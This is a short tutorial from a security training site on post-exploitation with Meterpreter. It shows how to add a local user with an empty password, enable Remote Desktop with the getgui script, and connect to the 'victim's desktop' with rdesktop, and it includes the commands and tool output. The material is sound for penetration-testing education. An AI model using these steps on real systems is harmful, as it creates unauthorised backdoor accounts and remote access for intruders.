Meterpreter: Remote Desktop

July 14, 2015 | Views: 8306

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Hello Everyone,

As I said before, when we have session open in meterpreter or we have access to cmd, we can add rules for the firewall to accept our connection or to disable the firewall.

Let’s use method getgui -u -p.
-u stands for username and -p stand for password

When we’re in someone’s computer cmd ( command prompt), we can add user by using:
net user Thinker /add

All we need is now is just to place the newly created username in getgui -u Thinker -p ''

This will allow create an open RDP connection for this user. We can easily use RDESKTOP for remote desktop connection.

meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p
Or:    getgui -e
OPTIONS:

-e   Enable RDP only.
-f   Forward RDP Connection.
-h   Help menu.
-l   The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-p   The Password of the user

meterpreter > run getgui -u Thinker -p ''
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language detection started
[*]     Language detected: en_US
[*] Setting user account for logon
[*]     Adding User: Thinker with Password: ''
[*]     Adding User: Thinker to local group ''
[*]     Adding User: Thinker to local group ''
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20150122.2458.rc
Now open terminal and use exploit pentest/exploit/framework
just type rdesktop -u Thinker -p '' <IP> xx.xx.xx.xx

 

Voila! You’ll see a window opened with the victim’s desktop.

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
1 Comment
  1. Thank you for the tip.

Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge

 

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel